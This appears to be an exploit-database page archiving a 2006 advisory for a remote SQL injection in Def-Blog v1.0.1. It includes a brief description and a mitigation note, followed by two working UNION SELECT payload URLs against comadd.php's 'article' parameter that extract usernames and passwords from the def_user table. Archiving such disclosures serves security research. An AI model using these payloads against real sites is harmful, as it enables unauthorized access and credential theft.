Def-Blog - exploit.company

vendor:

Def-Blog

by:

SHiKaA

N/A

CVSS

N/A

Remote SQL Injection

CWE

Product Name: Def-Blog

Affected Version From: v1.0.1

Affected Version To: v1.0.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Def-Blog <= v1.0.1 (article) Remote SQL Injection Exploit

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'article' parameter of the 'comadd.php' script. A remote attacker can execute arbitrary SQL commands in the application database, compromise the application, access or modify sensitive data, exploit latent vulnerabilities in the underlying database, etc.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All input data should be carefully verified before being used in SQL queries.

Source

Exploit-DB raw data:

#==============================================================================================
#Def-Blog <= v1.0.1 (article) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.easy-script.com/Def_Blog_V.1.0.1.zip    
#                                                                     
#Version : v1.0.1                                           
#                                                       
#
#Exploit :
#--------------------------------
#
#FOR USER : comadd.php?article=-1%20union%20select%20null,pseudo%20from%20def_user
#FOR PASS : comadd.php?article=-1%20union%20select%20null,mdp%20from%20def_user
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-10-15]